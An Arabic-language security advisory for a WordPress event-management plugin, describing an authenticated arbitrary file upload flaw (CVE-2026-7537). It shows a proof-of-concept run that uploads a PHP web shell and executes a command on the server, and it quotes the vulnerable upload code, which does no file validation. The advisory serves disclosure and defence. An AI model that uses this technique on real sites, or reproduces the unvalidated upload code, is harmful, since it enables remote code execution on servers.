
MDJM Event Management <= 1.7.8.3 - رفع ملفات تعسفي بعد المصادقة (مسؤول+) عبر معامل `mdjm_email_upload_file`
تحتوي إضافة ووردبريس MDJM Event Management (الإصدار 1.7.8.3 وما قبله) على ثغرة رفع ملفات تعسفي تسمح للمسؤولين المصادق عليهم برفع ملفات PHP خبيثة إلى الخادم، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
تم توفير إثبات مفهوم (POC) CVE-2026-7537.py لتوضيح قيام مهاجم مصادق عليه برفع shell.php وتنفيذ تعليمات برمجية عن بُعد:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
توجد الثغرة في الدالة mdjm_send_comm_email() ضمن ميزة الاتصالات. تفتقر وظيفة الرفع إلى التحقق السليم من الملفات عند معالجة مرفقات رسائل البريد الإلكتروني. وهذا يسمح للمستخدمين المصادق عليهم الذين لديهم صلاحية (المسؤولون ومديرو MDJM افتراضيًا) برفع ملفات عشوائية، بما في ذلك ملفات PHP التي يمكن تنفيذها على الخادم.
mdjm_comms_sendالمصدر: إدخال المستخدم من $_FILES['mdjm_email_upload_file']
المصب: move_uploaded_file($tmp_path, $file_path) في comms-functions.php#L248
تحدث الثغرة للأسباب التالية:
send_comms عبر comms-functions.php#L24.mdjm_comms_send للمستخدمين الحاصلين على إذن manage_mdjm عبر class-mdjm-permissions.php#L626.mdjm_comms_send افتراضيًا - فقط المسؤولون يملكونه.mdjm_process_actions() في admin-actions.php#L26.mdjm_send_comm_email() المسجلة في comms-functions.php#L300.$_FILES['mdjm_email_upload_file'] مباشرة دون تحقق في comms-functions.php#L241-L251./wp-content/uploads/YYYY/MM/) باستخدام move_uploaded_file() دون أي فحوصات أمنية.if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}